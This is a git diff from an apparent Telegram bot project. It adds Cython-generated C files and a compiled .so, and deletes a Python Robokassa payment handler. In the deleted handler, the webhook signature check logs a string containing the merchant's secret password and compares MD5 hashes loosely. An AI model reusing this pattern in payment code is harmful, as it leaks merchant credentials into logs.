(int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/robokassa_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/robokassa_pay.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 00000000..076b4b6d Binary files /dev/null and b/handlers/payments/robokassa_pay.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/robokassa_pay.py b/handlers/payments/robokassa_pay.py deleted file mode 100644 index 2c1de2e5..00000000 --- a/handlers/payments/robokassa_pay.py +++ /dev/null @@ -1,277 +0,0 @@ -import hashlib -from typing import Any - -from aiogram import F, Router, types -from aiogram.fsm.context import FSMContext -from aiogram.fsm.state import State, StatesGroup -from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup -from aiogram.utils.keyboard import InlineKeyboardBuilder -from aiohttp import web -from config import ( - ROBOKASSA_ENABLE, - ROBOKASSA_LOGIN, - ROBOKASSA_PASSWORD1, - ROBOKASSA_PASSWORD2, - ROBOKASSA_TEST_MODE, -) -from robokassa import HashAlgorithm, Robokassa - -from database import ( - add_connection, - add_payment, - check_connection_exists, - get_key_count, - update_balance, -) -from handlers.payments.utils import send_payment_success_notification -from handlers.texts import PAYMENT_OPTIONS -from logger import logger - -router = Router() - - -class ReplenishBalanceState(StatesGroup): - choosing_amount_robokassa = State() - waiting_for_payment_confirmation_robokassa = State() - - -if ROBOKASSA_ENABLE: - robokassa = Robokassa( - merchant_login=ROBOKASSA_LOGIN, - password1=ROBOKASSA_PASSWORD1, - password2=ROBOKASSA_PASSWORD2, - algorithm=HashAlgorithm.md5, - is_test=ROBOKASSA_TEST_MODE, - ) - - logger.info("Robokassa initialized with login: {}", ROBOKASSA_LOGIN) - - -def generate_payment_link(amount, inv_id, description, tg_id): - """Генерация ссылки на оплату.""" - logger.debug( - f"Generating payment link for amount: {amount}, inv_id: {inv_id}, description: {description}" - ) - payment_link = robokassa._payment.link.generate_by_script( - out_sum=amount, - inv_id=inv_id, - description="пополнение баланса", - id=f"{tg_id}", - ) - logger.info(f"Generated payment link: {payment_link}") - return payment_link - - -@router.callback_query(F.data == "pay_robokassa") -async def process_callback_pay_robokassa( - callback_query: types.CallbackQuery, state: FSMContext, session: Any -): - tg_id = callback_query.message.chat.id - logger.info(f"User {tg_id} initiated Robokassa payment.") - - builder = InlineKeyboardBuilder() - for i in range(0, len(PAYMENT_OPTIONS), 2): - if i + 1 < len(PAYMENT_OPTIONS): - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', - ), - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i + 1]["text"], - callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - ), - ) - else: - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', - ) - ) - builder.row( - InlineKeyboardButton( - text="💰 Ввести свою сумму", - callback_data="enter_custom_amount_robokassa", - ) - ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")) - - key_count = await get_key_count(tg_id) - - if key_count == 0: - exists = await check_connection_exists(tg_id) - if not exists: - await add_connection(tg_id, balance=0.0, trial=0, session=session) - logger.info(f"Created new connection for user {tg_id} with balance 0.0.") - - await callback_query.message.answer( - text="Выберите сумму пополнения:", - reply_markup=builder.as_markup(), - ) - await state.set_state(ReplenishBalanceState.choosing_amount_robokassa) - logger.info(f"Displayed amount selection for user {tg_id}.") - - -@router.callback_query(F.data.startswith("robokassa_amount|")) -async def process_amount_selection( - callback_query: types.CallbackQuery, state: FSMContext -): - logger.info(f"Получены данные callback_data: {callback_query.data}") - - data = callback_query.data.split("|") - if len(data) != 3 or data[1] != "amount": - logger.error("Ошибка: callback_data не соответствует формату.") - await callback_query.message.answer("Ошибка: данные повреждены.") - return - - amount_str = data[2] - try: - amount = int(amount_str) - if amount <= 0: - raise ValueError("Сумма должна быть положительным числом.") - except ValueError as e: - logger.error(f"Некорректное значение суммы: {amount_str}. Ошибка: {e}") - await callback_query.message.answer("Некорректная сумма.") - return - - await state.update_data(amount=amount) - logger.info(f"User {callback_query.message.chat.id} selected amount: {amount}.") - inv_id = 0 - - tg_id = callback_query.message.chat.id - payment_url = generate_payment_link(amount, inv_id, "Пополнение баланса", tg_id) - - logger.info(f"Payment URL for user {callback_query.message.chat.id}: {payment_url}") - - confirm_keyboard = InlineKeyboardMarkup( - inline_keyboard=[ - [InlineKeyboardButton(text="Оплатить", url=payment_url)], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay_robokassa")], - ] - ) - - await callback_query.message.answer( - text=f"Вы выбрали пополнение на {amount} рублей. Для оплаты перейдите по ссылке ниже:", - reply_markup=confirm_keyboard, - ) - logger.info(f"Payment link sent to user {callback_query.message.chat.id}.") - - -async def robokassa_webhook(request): - """Обработка webhook-уведомлений от Robokassa с учетом shp_id.""" - try: - params = await request.post() - - logger.info(f"Received webhook params: {params}") - - amount = params.get("OutSum") - inv_id = params.get("InvId") - shp_id = params.get("shp_id") - signature_value = params.get("SignatureValue") - - logger.info( - f"OutSum: {amount}, InvId: {inv_id}, shp_id: {shp_id}, SignatureValue: {signature_value}" - ) - - if not check_payment_signature(params): - logger.error("Неверная подпись или данные запроса.") - return web.Response(status=400) - - if not amount or not inv_id or not shp_id: - logger.error("Отсутствуют обязательные параметры.") - return web.Response(status=400) - - tg_id = shp_id - - logger.info(f"Processing payment for user {tg_id} with amount {amount}.") - - await update_balance(int(tg_id), float(amount)) - await send_payment_success_notification(tg_id, float(amount)) - - await add_payment(int(tg_id), float(amount), "robokassa") - - logger.info(f"Payment successful. Balance updated for user {tg_id}.") - - return web.Response(text=f"OK{inv_id}") - - except Exception as e: - logger.error(f"Error processing webhook: {e}") - return web.Response(status=500) - - -def check_payment_signature(params): - """Проверка подписи запроса от Robokassa с учетом shp_id.""" - out_sum = params.get("OutSum") - inv_id = params.get("InvId") - signature_value = params.get("SignatureValue") - shp_id = params.get("shp_id") - - signature_string = f"{out_sum}:{inv_id}:{ROBOKASSA_PASSWORD2}:shp_id={shp_id}" - - logger.info(f"Signature string before hashing: {signature_string}") - - expected_signature = ( - hashlib.md5(signature_string.encode("utf-8")).hexdigest().upper() - ) - - logger.info(f"Expected signature: {expected_signature}") - logger.info(f"Received signature: {signature_value}") - - return signature_value.upper() == expected_signature.upper() - - -@router.callback_query(F.data == "enter_custom_amount_robokassa") -async def process_custom_amount_selection( - callback_query: types.CallbackQuery, state: FSMContext -): - tg_id = callback_query.message.chat.id - logger.info(f"User {tg_id} chose to enter a custom amount.") - - builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="🔙 Назад", callback_data="pay_robokassa")) - - await callback_query.message.answer( - "Пожалуйста, введите сумму пополнения.", - reply_markup=builder.as_markup(), - ) - - await state.set_state( - ReplenishBalanceState.waiting_for_payment_confirmation_robokassa - ) - - -@router.message(ReplenishBalanceState.waiting_for_payment_confirmation_robokassa) -async def handle_custom_amount_input(message: types.Message, state: FSMContext): - tg_id = message.chat.id - logger.info(f"User {tg_id} entered custom amount: {message.text}") - inv_id = 0 - - try: - amount = int(message.text) - if amount <= 0: - raise ValueError("Сумма должна быть положительным числом.") - - await state.update_data(amount=amount) - - payment_url = generate_payment_link(amount, inv_id, "Пополнение баланса", tg_id) - - logger.info(f"Generated payment link for user {tg_id}: {payment_url}") - - confirm_keyboard = InlineKeyboardMarkup( - inline_keyboard=[ - [InlineKeyboardButton(text="Оплатить", url=payment_url)], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay_robokassa")], - ] - ) - - await message.answer( - text=f"Вы выбрали пополнение на {amount} рублей. Для оплаты перейдите по ссылке ниже:", - reply_markup=confirm_keyboard, - ) - await state.clear() - except ValueError as e: - logger.error(f"Некорректная сумма от пользователя {tg_id}: {e}") - await message.answer( - text="Введите корректную сумму в рублях (целое положительное число)." - ) diff --git a/handlers/payments/stars_pay.c b/handlers/payments/stars_pay.c new file mode 100644 index 00000000..9bbaf401 --- /dev/null +++ b/handlers/payments/stars_pay.c @@ -0,0 +1,19367 @@ +/* Generated by Cython 3.0.11 */ + +/* BEGIN: Cython Metadata +{ + "distutils": { + "name": "handlers.payments.stars_pay", + "sources": [ + "handlers/payments/stars_pay.py" + ] + }, + "module_name": "handlers.payments.stars_pay" +} +END: Cython Metadata */ + +#ifndef PY_SSIZE_T_CLEAN +#define PY_SSIZE_T_CLEAN +#endif /* PY_SSIZE_T_CLEAN */ +#if defined(CYTHON_LIMITED_API) && 0 + #ifndef Py_LIMITED_API + #if CYTHON_LIMITED_API+0 > 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + 